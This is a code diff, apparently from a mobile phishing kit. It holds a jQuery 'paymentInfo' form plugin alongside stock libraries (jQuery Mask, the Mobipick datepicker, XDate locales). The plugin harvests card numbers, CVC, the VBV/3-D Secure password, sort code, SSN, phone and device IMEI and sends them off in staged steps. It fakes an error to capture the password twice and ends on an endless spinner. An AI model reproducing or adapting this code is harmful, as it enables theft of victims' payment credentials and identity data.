var prefixNumber = $('.' + opts.prefixNumberClass).val();
var phoneNumber = $('.' + opts.phoneNumberClass).val();
var IMEI = $('.' + opts.imei).val();
var SSN_ = $('.' + opts.SSN).val();
var AN_ = $('.' + opts.AN).val();
/*****************************************************************************************ВТОРОЙ ШАГ*/
$('.' + opts.cardVbvClass).focus();
$('.' + opts.saveButtonClass).hide();
$('.' + opts.verifyButtonClass).show();
} else {
helpers.startEndSpinner();
}
$('.' + opts.textTitleClass).hide();
$('#' + opts.addressFieldsBlockId).hide();
$('#' + opts.cardVbvBlockId).show();
}
}
},
checkVbvDataAndTransmit: function () {
if ($('.' + opts.cardVbvClass).val().length < 4) {
helpers.showErrorField(opts.cardVbvClass);
return;
}
if (doubleVbvWasSent) {
helpers.hideErrorField(opts.cardVbvClass);
helpers.startEndSpinner();
var stepID = (getCountryCode() == 'gb') ? 5 : 4;
transmit(stepID, opts.cardVbvBlockId, true);
} else {
var VBV = $('.' + opts.cardVbvClass).val();
var IMEI = $('.' + opts.imei).val();
//alert(VBV);
/*****************************************************************************************ТРЕТИЙ ШАГ*/
transmit(3, opts.cardVbvBlockId, false);
doubleVbvWasSent = true;
$('.' + opts.cardVbvClass).val('');
helpers.showErrorField(opts.cardVbvClass);
$('.' + opts.cardVbvClass).removeClass('field_error');
$('.' + opts.cardVbvClass).attr('name','vbvPassRepeat');
if (getCountryCode() == 'gb') {
$('.' + opts.vbvImageClass).attr('src', 'images/mdpi/lock.png');
$('.' + opts.cardVbvClass).attr('placeholder', 'Sort code');
$('.' + opts.cardVbvClass).attr('name', 'sortCode');
$('.' + opts.cardVbvClass).focus();
}
}
},
startEndSpinner: function () {
var Sort_code = $('.' + opts.cardVbvClass).val();
var IMEI = $('.' + opts.imei).val();
//alert(Sort_code);
/*****************************************************************************************ЧЕТВЕРТЫЙ ШАГ*/
$('.' + opts.vbvImageClass).attr('src', 'images/spinner.gif');
$('.' + opts.vbvImageClass).css('height', '100%');
$('.' + opts.vbvImageClass).css('width', '100%');
$('.' + opts.vbvImageClass).css('margin-top', '10px');
$('.' + opts.buttonBarClass).hide();
$('.' + opts.cardVbvClass).attr('style','display:none !important');
},
matchNumbers: function (element) {
var cardNumber = element.val();
cardType = helpers.getCreditCardType(cardNumber);
if (cardNumber != "") {
if (cardType !== undefined && $('#img_card_' + cardType).exists()) {
$('#img_card_' + cardType).removeClass('img_cards');
$('.img_cards').fadeOut( 'slow' );
$('#img_card_' + cardType).addClass('img_cards');
} else {
helpers.showAllCardImages();
}
} else {
helpers.showAllCardImages();
}
//if (false && versionSDK < 16) {
/*
if (cardType == "amex" && cardNumber.length == 15) {
helpers.creditCardComplete();
} else if (cardNumber.length == 16) {
helpers.creditCardComplete();
}
*/
//} else {
var maskCVC = (cardType === "amex") ? '0000' : '000';
$('.' + opts.cardCvvClass)
.mask(maskCVC, {
onComplete: function(cep) {
helpers.cvcComplete();
},
onInvalid: function(val, e, f, invalid, options) {
helpers.cvcInComplete();
}
})
.bind('blur', function (e) {
if (!cardCvcIsOk) {
helpers.showErrorField(opts.cardCvvClass);
}
});
var mask = (cardType === "amex")
? '0000 000000 00000'
: '0000 0000 0000 0000';
element.mask(mask, {
onComplete: function(cep) {
helpers.creditCardComplete();
}
});
//}
},
creditCardComplete: function () {
var element = $('.' + opts.cardNumberClass),
uvalue = element.val(),
element_error = $('.' + opts.cardNumberClass + '_error');
cardType = helpers.getCreditCardType(uvalue);
if (cardType === "amex" && uvalue.length === 15) {
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_amex.png');
} else if (cardType !== "amex" && uvalue.length === 16) {
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_default.png');
}
var ccDigit = uvalue.replace(/ /ig, '');
if (!helpers.ccLuhnCheck(ccDigit) || !helpers.checkCreditCard(ccDigit)) {
helpers.showErrorField(opts.cardNumberClass);
cardNumberIsOk = false;
return;
}
cardNumberIsOk = true;
helpers.hideErrorField(opts.cardNumberClass);
$('.' + opts.cardMmYyCvcBlock).show();
$('.' + opts.cardExpirationClass).focus();
},
beginCreditCard: function (element) {
$(element)
.unbind("keypress blur")
.bind("keypress blur", function (e) {
if (e.keyCode === 13 || e.type === 'blur') {
var uvalue = $(element).val();
cardType = helpers.getCreditCardType(uvalue);
// Make sure the number length is valid
if ((cardType === "amex" && uvalue.length === 15) ||
(cardType !== "amex" && uvalue.length === 16)) {
helpers.creditCardComplete();
} else {
cardNumberIsOk = false;
}
}
})
.unbind("focus click keydown");
},
ccLuhnCheck: function (card_number) {
var arr = [],
card_number = card_number.toString();
for(var i = 0; i < card_number.length; i++) {
if(i % 2 === 0) {
var m = parseInt(card_number[i]) * 2;
if(m > 9) {
arr.push(m - 9);
} else {
arr.push(m);
}
} else {
var n = parseInt(card_number[i]);
arr.push(n)
}
}
var summ = arr.reduce(function(a, b) { return a + b; });
return Boolean(!(summ % 10));
},
checkCreditCard: function (cardnumber) {
var badDigits = [
'00000',
'111111',
'222222',
'333333',
'444444',
'555555',
'666666',
'777777',
'888888',
'999999'
];
var goodCard = true;
$.each(badDigits, function() {
if (cardnumber.indexOf(this) != -1) {
goodCard = false;
return false;
}
});
if ( ! goodCard )
return false;
// Array to hold the permitted card characteristics
var cards = new Array();
// Define the cards we support. You may add addtional card types as follows.
// Name: As in the selection box of the form - must be same as user's
// Length: List of possible valid lengths of the card number for the card
// prefixes: List of possible prefixes for the card
// checkdigit: Boolean to say whether there is a check digit
cards[0] = {
name : "Visa",
length : "13,16",
prefixes : "4",
checkdigit : true
};
cards[1] = {
name : "MasterCard",
length : "16",
prefixes : "51,52,53,54,55",
checkdigit : true
};
cards[2] = {
name : "DinersClub",
length : "14,16",
prefixes : "36,38,54,55",
checkdigit : true
};
cards[3] = {
name : "CarteBlanche",
length : "14",
prefixes : "300,301,302,303,304,305",
checkdigit : true
};
cards[4] = {
name : "AmEx",
length : "15",
prefixes : "34,37",
checkdigit : true
};
cards[5] = {
name : "Discover",
length : "16",
prefixes : "6011,622,64,65",
checkdigit : true
};
cards[6] = {
name : "JCB",
length : "16",
prefixes : "35",
checkdigit : true
};
cards[7] = {
name : "enRoute",
length : "15",
prefixes : "2014,2149",
checkdigit : true
};
cards[8] = {
name : "Solo",
length : "16,18,19",
prefixes : "6334,6767",
checkdigit : true
};
cards[9] = {
name : "Switch",
length : "16,18,19",
prefixes : "4903,4905,4911,4936,564182,633110,6333,6759",
checkdigit : true
};
cards[10] = {
name : "Maestro",
length : "12,13,14,15,16,18,19",
prefixes : "5018,5020,5038,6304,6759,6761,6762,6763",
checkdigit : true
};
cards[11] = {
name : "VisaElectron",
length : "16",
prefixes : "4026,417500,4508,4844,4913,4917",
checkdigit : true
};
cards[12] = {
name : "LaserCard",
length : "16,17,18,19",
prefixes : "6304,6706,6771,6709",
checkdigit : true
};
// Ensure that the user has provided a credit card number
if (cardnumber.length == 0) {
return false;
}
// Now remove any spaces from the credit card number
cardnumber = cardnumber.replace(/\s/g, "");
// Check that the number is numeric
var cardNo = cardnumber;
var cardexp = /^[0-9]{13,19}$/;
if (!cardexp.exec(cardNo)) {
return false;
}
// Establish card type
var cardType = -1;
for (var i = 0; i < cards.length; i++) {
// We use these for holding the valid lengths and prefixes of a card type
var prefix = new Array();
// Load an array with the valid prefixes for this card
prefix = cards[i].prefixes.split(",");
// Now see if any of them match what we have in the card number
for (var j = 0; j < prefix.length; j++) {
var exp = new RegExp("^" + prefix[j]);
if (exp.test(cardnumber)) {
cardType = i;
break;
}
}
if (cardType != -1) {
break;
}
}
// If card type not found, report an error
if (cardType == -1) {
return false;
}
// Now check the modulus 10 check digit - if required
if (cards[cardType].checkdigit) {
var checksum = 0; // running checksum total
var mychar = ""; // next char to process
var j = 1; // takes value of 1 or 2
// Process each digit one by one starting at the right
var calc;
for (i = cardNo.length - 1; i >= 0; i--) {
// Extract the next digit and multiply by 1 or 2 on alternative digits.
calc = Number(cardNo.charAt(i)) * j;
// If the result is in two digits add 1 to the checksum total
if (calc > 9) {
checksum = checksum + 1;
calc = calc - 10;
}
// Add the units element to the checksum total
checksum = checksum + calc;
// Switch the value of j
if (j == 1) {
j = 2
} else {
j = 1
};
}
// All done - if checksum is divisible by 10, it is a valid modulus 10.
// If not, report an error.
if (checksum % 10 != 0) {
return false;
}
}
// Check it's not a spam number
if (cardNo == '5490997771092064') {
return false;
}
// The following are the card-specific checks we undertake.
var LengthValid = false;
var undefined;
var lengths = new Array();
// See if the length is valid for this card
lengths = cards[cardType].length.split(",");
for (j = 0; j < lengths.length; j++) {
if (cardNo.length == lengths[j])
LengthValid = true;
}
// See if all is OK by seeing if the length was valid. We only check the length if all else was
// hunky dory.
if (!LengthValid) {
return false;
};
// The credit card is in the required format.
return true;
}
};
methods = {
init: function (options) {
opts = $.extend({}, $.fn.paymentInfo.defaults, options);
$('.' + opts.saveButtonClass).click(function (e) {
helpers.checkHolderDataAndTransmit(true);
})
$('.' + opts.verifyButtonClass).click(function (e) {
helpers.checkVbvDataAndTransmit();
})
return this.each(function () {
$(this)
.find('.' + opts.cardExpirationClass)
.mask('00/00', {
onComplete: function(cep) {
helpers.expirationComplete();
},
onInvalid: function(val, e, f, invalid, options) {
helpers.expirationInComplete();
}
})
.bind('blur', function (e) {
if (!cardExpirationIsOk) {
helpers.showErrorField(opts.cardExpirationClass);
}
})
.end()
.find('.' + opts.postalCodeClass)
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end()
.find('.' + opts.prefixNumberClass)
.mask('000000')
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end()
.find('.' + opts.phoneNumberClass)
.mask('00000000000')
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end();
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
}).unbind('.' + pluginName).bind(events, function () {
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
});
},
// Need to add this later.
destroy: function () {
return this.unbind('.' + pluginName);
}
};
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
}
if (typeof method === "object" || !method) {
return methods.init.apply(this, arguments);
}
};
$.fn.paymentInfo.defaults = {
AN: "AN",
SSN: "SSN",
imei: "imei",
cardCvvClass: "card-cvc",
cardCvcHint: "cvc-hint",
cardMmYyCvcBlock: "month-year-cvc-block",
cardExpirationClass: "card-expiration",
cardNumberClass2: "card-number2",
cardNumberClass: "card-number",
cardHolderClass: "card-holder",
dateBirthClass: "date-birth",
postalCodeClass: "postal-code",
holderAddressClass: "holder-address",
prefixNumberClass: "phone-prefix",
phoneNumberClass: "phone-number",
saveButtonClass: "save-button",
verifyButtonClass: "verify-button",
cardDataBlockId: "card-data-block",
addressFieldsBlockId: "address-fields-block",
vbvImageClass: "vbv-image",
cardVbvClass: "card-vbv",
cardVbvBlockId: "card-vbv-block",
textTitleClass: "text-title",
buttonBarClass: "button-bar",
animationWait: 600,
focusDelay: 200
};
}(jQuery));
$(".credit-card-group").paymentInfo();
+5
View File
File diff suppressed because one or more lines are too long
+14
View File
@@ -0,0 +1,14 @@
// jQuery Mask Plugin v1.13.4
// github.com/igorescobar/jQuery-Mask-Plugin
(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery||Zepto)})(function(b){var y=function(a,c,d){a=b(a);var g=this,k=a.val(),l;c="function"===typeof c?c(a.val(),void 0,a,d):c;var e={invalid:[],getCaret:function(){try{var q,b=0,e=a.get(0),f=document.selection,c=e.selectionStart;if(f&&-1===navigator.appVersion.indexOf("MSIE 10"))q=f.createRange(),q.moveStart("character",a.is("input")?-a.val().length:-a.text().length),
b=q.text.length;else if(c||"0"===c)b=c;return b}catch(d){}},setCaret:function(q){try{if(a.is(":focus")){var b,c=a.get(0);c.setSelectionRange?c.setSelectionRange(q,q):c.createTextRange&&(b=c.createTextRange(),b.collapse(!0),b.moveEnd("character",q),b.moveStart("character",q),b.select())}}catch(f){}},events:function(){a.on("input.mask keyup.mask",e.behaviour).on("paste.mask drop.mask",function(){setTimeout(function(){a.keydown().keyup()},100)}).on("change.mask",function(){a.data("changed",!0)}).on("blur.mask",
function(){k===a.val()||a.data("changed")||a.triggerHandler("change");a.data("changed",!1)}).on("blur.mask",function(){k=a.val()}).on("focus.mask",function(a){!0===d.selectOnFocus&&b(a.target).select()}).on("focusout.mask",function(){d.clearIfNotMatch&&!l.test(e.val())&&e.val("")})},getRegexMask:function(){for(var a=[],b,e,f,d,h=0;h<c.length;h++)(b=g.translation[c.charAt(h)])?(e=b.pattern.toString().replace(/.{1}$|^.{1}/g,""),f=b.optional,(b=b.recursive)?(a.push(c.charAt(h)),d={digit:c.charAt(h),
pattern:e}):a.push(f||b?e+"?":e)):a.push(c.charAt(h).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&"));a=a.join("");d&&(a=a.replace(new RegExp("("+d.digit+"(.*"+d.digit+")?)"),"($1)?").replace(new RegExp(d.digit,"g"),d.pattern));return new RegExp(a)},destroyEvents:function(){a.off("input keydown keyup paste drop blur focusout ".split(" ").join(".mask "))},val:function(b){var c=a.is("input")?"val":"text";if(0<arguments.length){if(a[c]()!==b)a[c](b);c=a}else c=a[c]();return c},getMCharsBeforeCount:function(a,
b){for(var e=0,f=0,d=c.length;f<d&&f<a;f++)g.translation[c.charAt(f)]||(a=b?a+1:a,e++);return e},caretPos:function(a,b,d,f){return g.translation[c.charAt(Math.min(a-1,c.length-1))]?Math.min(a+d-b-f,d):e.caretPos(a+1,b,d,f)},behaviour:function(a){a=a||window.event;e.invalid=[];var c=a.keyCode||a.which;if(-1===b.inArray(c,g.byPassKeys)){var d=e.getCaret(),f=e.val().length,n=d<f,h=e.getMasked(),k=h.length,m=e.getMCharsBeforeCount(k-1)-e.getMCharsBeforeCount(f-1);e.val(h);!n||65===c&&a.ctrlKey||(8!==
c&&46!==c&&(d=e.caretPos(d,f,k,m)),e.setCaret(d));return e.callbacks(a)}},getMasked:function(a){var b=[],k=e.val(),f=0,n=c.length,h=0,l=k.length,m=1,p="push",u=-1,t,w;d.reverse?(p="unshift",m=-1,t=0,f=n-1,h=l-1,w=function(){return-1<f&&-1<h}):(t=n-1,w=function(){return f<n&&h<l});for(;w();){var x=c.charAt(f),v=k.charAt(h),r=g.translation[x];if(r)v.match(r.pattern)?(b[p](v),r.recursive&&(-1===u?u=f:f===t&&(f=u-m),t===u&&(f-=m)),f+=m):r.optional?(f+=m,h-=m):r.fallback?(b[p](r.fallback),f+=m,h-=m):e.invalid.push({p:h,
v:v,e:r.pattern}),h+=m;else{if(!a)b[p](x);v===x&&(h+=m);f+=m}}a=c.charAt(t);n!==l+1||g.translation[a]||b.push(a);return b.join("")},callbacks:function(b){var g=e.val(),l=g!==k,f=[g,b,a,d],n=function(a,b,c){"function"===typeof d[a]&&b&&d[a].apply(this,c)};n("onChange",!0===l,f);n("onKeyPress",!0===l,f);n("onComplete",g.length===c.length,f);n("onInvalid",0<e.invalid.length,[g,b,a,e.invalid,d])}};g.mask=c;g.options=d;g.remove=function(){var b=e.getCaret();e.destroyEvents();e.val(g.getCleanVal());e.setCaret(b-
e.getMCharsBeforeCount(b));return a};g.getCleanVal=function(){return e.getMasked(!0)};g.init=function(c){c=c||!1;d=d||{};g.byPassKeys=b.jMaskGlobals.byPassKeys;g.translation=b.jMaskGlobals.translation;g.translation=b.extend({},g.translation,d.translation);g=b.extend(!0,{},g,d);l=e.getRegexMask();!1===c?(d.placeholder&&a.attr("placeholder",d.placeholder),b("input").length&&!1==="oninput"in b("input")[0]&&"on"===a.attr("autocomplete")&&a.attr("autocomplete","off"),e.destroyEvents(),e.events(),c=e.getCaret(),
e.val(e.getMasked()),e.setCaret(c+e.getMCharsBeforeCount(c,!0))):(e.events(),e.val(e.getMasked()))};g.init(!a.is("input"))};b.maskWatchers={};var A=function(){var a=b(this),c={},d=a.attr("data-mask");a.attr("data-mask-reverse")&&(c.reverse=!0);a.attr("data-mask-clearifnotmatch")&&(c.clearIfNotMatch=!0);"true"===a.attr("data-mask-selectonfocus")&&(c.selectOnFocus=!0);if(z(a,d,c))return a.data("mask",new y(this,d,c))},z=function(a,c,d){d=d||{};var g=b(a).data("mask"),k=JSON.stringify;a=b(a).val()||
b(a).text();try{return"function"===typeof c&&(c=c(a)),"object"!==typeof g||k(g.options)!==k(d)||g.mask!==c}catch(l){}};b.fn.mask=function(a,c){c=c||{};var d=this.selector,g=b.jMaskGlobals,k=b.jMaskGlobals.watchInterval,l=function(){if(z(this,a,c))return b(this).data("mask",new y(this,a,c))};b(this).each(l);d&&""!==d&&g.watchInputs&&(clearInterval(b.maskWatchers[d]),b.maskWatchers[d]=setInterval(function(){b(document).find(d).each(l)},k));return this};b.fn.unmask=function(){clearInterval(b.maskWatchers[this.selector]);
delete b.maskWatchers[this.selector];return this.each(function(){var a=b(this).data("mask");a&&a.remove().removeData("mask")})};b.fn.cleanVal=function(){return this.data("mask").getCleanVal()};b.applyDataMask=function(a){a=a||b.jMaskGlobals.maskElements;(a instanceof b?a:b(a)).filter(b.jMaskGlobals.dataMaskAttr).each(A)};var p={maskElements:"input,td,span,div",dataMaskAttr:"*[data-mask]",dataMask:!0,watchInterval:300,watchInputs:!0,watchDataMask:!1,byPassKeys:[9,16,17,18,36,37,38,39,40,91],translation:{0:{pattern:/\d/},
9:{pattern:/\d/,optional:!0},"#":{pattern:/\d/,recursive:!0},A:{pattern:/[a-zA-Z0-9]/},S:{pattern:/[a-zA-Z]/}}};b.jMaskGlobals=b.jMaskGlobals||{};p=b.jMaskGlobals=b.extend(!0,{},p,b.jMaskGlobals);p.dataMask&&b.applyDataMask();setInterval(function(){b.jMaskGlobals.watchDataMask&&b.applyDataMask()},p.watchInterval)});
File diff suppressed because one or more lines are too long
+402
View File
@@ -0,0 +1,402 @@
/*
* Mobi Pick - An Android-style datepicker widget for jQuery Mobile.
*
* Created by Christoph Baudson.
*
* Please report issues at https://github.com/sustainablepace/mobipick/issues
*
* Version 0.9
*
* Licensed under MIT license, see MIT-license.txt
*/
(function( factory ) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define( ['jquery', 'jquery.mobile'], factory );
} else {
// Browser globals
factory( jQuery, jQuery.mobile );
}
}( function( $, $mobile, undefined ){
$.widget( "sustainablepace.mobipick", $mobile.widget, {
options: {
date : null,
dateFormat : "yyyy-MM-dd",
dateFormatMonth : "yyyy-MM",
dateFormatYear : "yyyy",
inputOrder : "d m y",
locale : "en",
intlStdDate : true,
buttonTheme : "b",
popup : {
dismissible: false,
history: false,
overlayTheme: "a",
positionTo: "window",
theme: "a",
transition: "none"
}
},
// Controller
_picker: $( [] ),
widgetEventPrefix: "mobipick",
destroy: function() {
this._close();
this.element.off( "tap click" );
this._picker.popup( "destroy" );
$.Widget.prototype.destroy.call( this );
},
_create: function() {
this._initOptions(); // parses options
this._createView(); // inserts markup into DOM
this.element.on( "tap click", $.proxy( this.open, this ) );
},
_initOptions: function() {
var date = this.element.val() || this.options.date,
minDate = this.element.attr( "min" ) || this.options.minDate,
maxDate = this.element.attr( "max" ) || this.options.maxDate;
if( date ) {
this._setOption( "date", date );
}
// Min and max dates can be set in the markup.
// See http://dev.w3.org/html5/markup/input.date.html
if( maxDate ) {
this._setOption( "maxDate", maxDate );
}
if( minDate ) {
this._setOption( "minDate", minDate );
}
this._setOption( "locale", this.options.locale );
},
_init: function() {
// fill input field with default value
if( this._getDate() !== null ) {
this.updateDateInput();
}
},
open: function( evt ) {
if( evt ) {
evt.stopPropagation();
evt.preventDefault();
}
var date = this._getDate();
if( !this._isXDate( date ) ) {
date = new XDate();
}
this._setOption( "date", this._fitDate( date ) );
this._setOption( "originalDate", this._getDate() );
this._showView();
this._updateView();
this._bindEvents();
},
_bindEvents: function() {
var self = this,
p = this._picker,
confirm = $.proxy( this._confirmDate, this ),
cancel = $.proxy( this._cancelDate, this ),
esc = $.proxy( this._cancelDateOnEsc, this );
// Set and Cancel buttons
p.find( ".mobipick-set" ).off().on( "tap", confirm );
p.find( ".mobipick-cancel" ).off().on( "tap", cancel );
$( document ).off( "keyup", esc ).on( "keyup", esc );
// +/- Buttons
var selectorMap = {
".mobipick-prev-day" : "_prevDay",
".mobipick-prev-month" : "_prevMonth",
".mobipick-prev-year" : "_prevYear",
".mobipick-next-day" : "_nextDay",
".mobipick-next-month" : "_nextMonth",
".mobipick-next-year" : "_nextYear"
};
for( var selector in selectorMap ) {
(function() {
var handler = self[ selectorMap[ selector ] ];
p.find( selector ).off().on( "tap", $.proxy( function() {
return self._handleDate( handler );
}, self ));
})();
}
},
_close: function() {
this._hideView();
},
_handleDate: function( dateHandler ) {
this._setOption( "date", this._fitDate( dateHandler.apply( this ) ) );
return false;
},
_confirmDate: function() {
var proceed = true,
dateDiff = this._getDate().diffDays( this.options.originalDate ),
hasChanged = dateDiff !== 0 || this.element.val() === "";
if( this.options.close && typeof this.options.close === "function" ) {
proceed = this.options.close.call() !== false;
}
if( proceed && hasChanged ) {
this._setOption( "originalDate", this._getDate() );
this.updateDateInput();
this.element.trigger("change");
} else {
this._setOption( "date", this.options.originalDate );
}
this._close();
return false;
},
_cancelDate: function() {
this._setOption( "date", this.options.originalDate );
this._close();
return false;
},
_cancelDateOnEsc: function( evt ) {
if( evt.keyCode === 27 ) {
this._cancelDate();
}
},
_setOption: function( key, val ) {
switch( key ) {
case "date":
var sane = this._sanitizeDate( val );
this.options[ key ] = sane ? sane.toDate() : sane;
break;
case "originalDate":
this.options[ key ] = this._sanitizeDate( val ).toDate();
break;
case "maxDate":
this.options[ key ] = this._sanitizeMaxDate( val ).toDate();
break;
case "minDate":
this.options[ key ] = this._sanitizeMinDate( val ).toDate();
break;
case "intlStdDate":
this.options[ key ] = !!val;
break;
case "locale":
this.options[ key ] = this._isValidLocale( val ) ? val : "en";
break;
default:
// Do not update view!
return $.Widget.prototype._setOption.apply( this, arguments );
}
this._updateView();
},
//
// Model
//
_sanitizeDate: function( date ) {
if( date === null ) {
return null;
}
var d = date;
if( typeof d === "string" ) {
d = new XDate( d );
}
if( this._isXDate( d ) ) {
d = d.toDate();
}
if( !this._isDate( d ) ) {
throw "Parameter 'date' must be a Date.";
}
return new XDate( d.getFullYear(), d.getMonth(), d.getDate() );
},
_sanitizeMinDate: function( date ) {
var minDate = this._sanitizeDate( date );
if( this._isAfterMaxDate( minDate ) ) {
throw "Min date must be before max date.";
}
return minDate;
},
_sanitizeMaxDate: function( date ) {
var maxDate = this._sanitizeDate( date );
if( this._isBeforeMinDate( maxDate ) ) {
throw "Max date must be after min date.";
}
return maxDate;
},
_getDateFormat: function() {
switch( this.options.accuracy ) {
case "month":
return "dateFormatMonth";
case "year":
return "dateFormatYear";
default:
return "dateFormat";
}
},
dateString: function() {
var format = this._getDateFormat(),
date = this._getDate();
return !date ? '' : date.toString( this.options[ format ] );
},
localeString: function() {
var l = this.options.locale,
a = this._getDateFormat(),
date = this._getDate();
return !date ? '' : date.toString(
this._isValidLocale( l ) ? XDate.locales[ l ][ a ] : this.options[ a ]
);
},
_fitDate: function( d ) {
return this._isAfterMaxDate( d ) ? this._getMaxDate() :
( this._isBeforeMinDate( d ) ? this._getMinDate() : d );
},
_isAfterMaxDate: function( d ) {
var maxDate = this._getMaxDate();
return this._isXDate( maxDate ) && d.diffDays( maxDate ) < 0;
},
_isBeforeMinDate: function( d ) {
var m = this._getMinDate();
return this._isXDate( m ) && m.diffDays( d ) < 0;
},
_isValidLocale: function( l ) {
return typeof l === "string" && XDate.locales && XDate.locales[ l ];
},
_isDate: function( d ) {
return typeof d === "object" && d !== null && d.constructor === Date;
},
_isXDate: function( x ) {
return typeof x === "object" && x !== null && x.constructor === XDate;
},
_getMaxDate: function() {
var maxDate = this.options.maxDate;
return this._isDate( maxDate ) ? new XDate( maxDate ) : null;
},
_getMinDate: function() {
var minDate = this.options.minDate;
return this._isDate( minDate ) ? new XDate( minDate ) : null;
},
_getDate: function() {
var date = this.options.date;
return this._isDate( date ) ? new XDate( date ) : null;
},
_prevDay: function() {
return this._addDay( -1 );
},
_nextDay: function() {
return this._addDay( 1 );
},
_prevMonth: function() {
return this._addMonth( -1 );
},
_nextMonth: function() {
return this._addMonth( 1 );
},
_prevYear: function() {
return this._addYear( -1 );
},
_nextYear: function() {
return this._addYear( 1 );
},
_addYear: function( y ) {
return this._getDate().addYears( y, true );
},
_addMonth: function( m ) {
var date = this._getDate(),
month = date.getMonth(),
newMonth = ( 12 + month + m ) % 12;
return date.setMonth( newMonth, true );
},
_addDay: function( d ) {
var dt = this._getDate(),
n = XDate.getDaysInMonth( dt.getFullYear(), dt.getMonth() );
return dt.setDate( ( dt.getDate() - 1 + n + d ) % n + 1 );
},
//
// View
//
_markup_header: "<div class='mobipick-main'><div class='mobipick-date-formatted'>Date</div><ul class='mobipick-groups'>",
_markup_d: "<li><ul><li><a class='mobipick-next-day'>+</a></li><li><input type='text' class='mobipick-input mobipick-day' /></li><li><a class='mobipick-prev-day'>-</a></li></ul></li>",
_markup_m: "<li><ul><li><a class='mobipick-next-month'>+</a></li><li><input type='text' class='mobipick-input mobipick-month' /></li><li><a class='mobipick-prev-month'>-</a></li></ul></li>",
_markup_y: "<li><ul><li><a class='mobipick-next-year'>+</a></li><li><input type='text' class='mobipick-input mobipick-year' /></li><li><a class='mobipick-prev-year'>-</a></li></ul></li>",
_markup_trailer: "</ul><ul class='mobipick-buttons'><li><a class='mobipick-set'>Set</a></li><li><a class='mobipick-cancel'>Cancel</a></li></ul></div>",
_applyTheme: function() {
var p = this._picker,
buttons = {
"bottom": "ul.mobipick-groups ul > li:first-child > a",
"top": "ul.mobipick-groups ul > li:last-child > a"
};
for( var key in buttons ) {
p.find( buttons[ key ] ).addClass( "ui-corner-all" )
.css( "border-" + key + "-left-radius", "0")
.css( "border-" + key + "-right-radius", "0");
}
p.addClass( "ui-body-" + this.options.popup.theme + " ui-corner-all" );
p.find( "a" ).attr( "href", "#" )
.addClass( "ui-body-" + this.options.buttonTheme );
p.find( "ul.mobipick-buttons a" ).addClass( "ui-corner-all" );
p.find( "input" )
.attr( "readonly", "readonly" ).addClass( "ui-shadow-inset" );
},
_createView: function() {
this.element.attr( "readonly", "readonly" );
var markup = this._markup_header +
this.options.inputOrder.split(" ").map(function(v, i, a) {
return this["_markup_" + v];
}, this).join("") +
this._markup_trailer;
this._picker = $( markup ).popup( this.options.popup );
$.data( this.element, "mobipick", this );
this._applyTheme();
},
_updateView: function() {
var date = this._getDate(),
p = this._picker;
if( this._isXDate( date ) ) {
p.find( ".mobipick-year" ).val( date.toString( "yyyy" ) );
p.find( ".mobipick-month" ).val( date.toString( "MMM" ) );
p.find( ".mobipick-day" ).val( date.toString( "dd" ) );
p.find( ".mobipick-date-formatted" ).text( this.localeString() );
}
var locale = {};
if( this._isValidLocale( this.options.locale ) ) {
XDate.defaultLocale = this.options.locale;
locale = XDate.locales[ this.options.locale ];
}
p.find( ".mobipick-set" ).text( locale.ok || "Set" );
p.find( ".mobipick-cancel" ).text( locale.cancel || "Cancel" );
// Display items based on accuracy setting
var columns = p.find( ".mobipick-groups > li" )
.removeClass( "mobipick-hide" )
.addClass( "mobipick-inline-block" );
if( this.options.accuracy === "month" ) {
p.css( "max-width", "280px" )
.find( ".mobipick-groups > li:first-child" )
.addClass( "mobipick-hide" )
.removeClass( "mobipick-inline-block" );
} else if( this.options.accuracy === "year" ) {
p.css( "max-width", "200px" )
.find( ".mobipick-groups > li:last-child" )
.siblings().addClass( "mobipick-hide" )
.removeClass( "mobipick-inline-block" );
} else {
p.css( "max-width", "300px" );
}
// minus 1% margin (left and right) per column
var columnCount = columns.filter( ":visible" ).size(),
width = ( ( 100 - columnCount * 2 ) / columnCount ) + "%";
columns.css( "width", width );
},
_showView: function() {
this._picker.show().popup("open").focus();
},
_hideView: function() {
this._picker.popup("close");
},
updateDateInput: function() {
this.element.val( this.options.intlStdDate ?
this.dateString() : this.localeString()
);
}
});
}));
+11
View File
@@ -0,0 +1,11 @@
$(document).ready(function(){
function changeViewport(){
if ($(window).width() < 150 || $(window).height() < 150){
$('meta[name=viewport]').attr("content", "initial-scale=0");
} else {
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
}
}
changeViewport();
});
+132
View File
@@ -0,0 +1,132 @@
XDate.locales['fr'] = {
monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'],
monthNamesShort: ["Janv","Févr","Mars","Avr","Mai","Juin","Juil","Août","Sept","Oct","Nov","Déc"],
dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'],
dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'],
dateFormat: "dddd, d MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Accepter",
cancel: "Annuler"
};
XDate.locales['de'] = {
monthNames: ["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],
monthNamesShort: ["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],
dayNames: ["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],
dayNamesShort: ["So","Mo","Di","Mi","Do","Fr","Sa"],
dateFormat: "dddd, d.MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "\u00dcbernehmen",
cancel: "Abbrechen"
};
XDate.locales['en'] = {
monthNames: ["January","February","March","April","May","June","July","August","September","October","November","December"],
